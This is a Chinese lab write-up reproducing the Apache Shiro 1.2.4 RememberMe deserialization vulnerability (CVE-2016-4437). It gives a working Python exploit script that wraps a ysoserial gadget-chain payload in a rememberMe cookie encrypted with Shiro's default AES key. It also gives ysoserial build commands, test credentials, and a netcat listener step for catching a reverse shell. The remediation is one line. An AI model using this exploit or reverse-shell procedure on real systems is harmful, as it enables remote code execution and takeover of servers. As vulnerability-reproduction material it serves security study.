Shiro RememberMe 1.2.4 反序列化漏洞(Shiro-550, CVE-2016-4437)复现
0x00:前言
Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。其编号为550的问题爆出了严重的 Java 反序列化漏洞 。
0x01:环境搭建
漏洞版本<=1.2.4,使用docker搭建
访问99端口即可访问漏洞环境
从官方的 issue 上来看,漏洞的利用点是在cookie里的rememberMe参数,这个参数的值是AES加密再base64之后设置在cookie中的。在服务端对rememberMe的cookie值的操作应该是先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。
服务端接收rememberMe的cookie值:
rememberMe的cookie值=>base64解码=>AES解密=>反序列化
我们要利用那么POC就需要先反序列化然后再AES加密最后base64编码
Payload产生的过程:
命令=>序列化=>AES加密=>base64编码=>payload function()
在shrio中AES加密有一个iv向量但是没有用到所以随机生成一个就了,重要的是密钥密钥,如果没有修改默认的密钥那么就很容易就知道密钥了,默认密钥为:kPH+bIxk5D2deZiIxcaaaA==之后就是编写POC了。
0x02:复现漏洞
首先给出利用脚本
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
with open("/ysoserial/payload.cookie", "w") as fpw:
print("rememberMe={}".format(payload.decode()), file=fpw)
脚本使用的是python3,安装模块时要使用pip3 install 模块名
然后需要下载 ysoserial的jar文件
git clone https://github.com/frohoff/ysoserial.git cd ysoserial mvn package -DskipTests cp target/ysoserial-0.0.5-SNAPSHOT-all.jar /ysoserial
将利用代码shiro1.4.py放置于/ysoserial目录下
payload格式
然后会在已经设置的路径下生成一个payload.cookie文件,我这里是/ysoserial/payload.cookie
然后在测试站点击account page 输入账号密码 root/secret 点击remember me抓包更改remember参数
抓包
制作payload
http://www.jackson-t.ca/runtime-exec-payloads.html
反弹shell
kali监听8888端口
nc -lvp 8888
将数据包中的cookie值替换掉
发送后即可收到shell
0x03:修复
修改默认key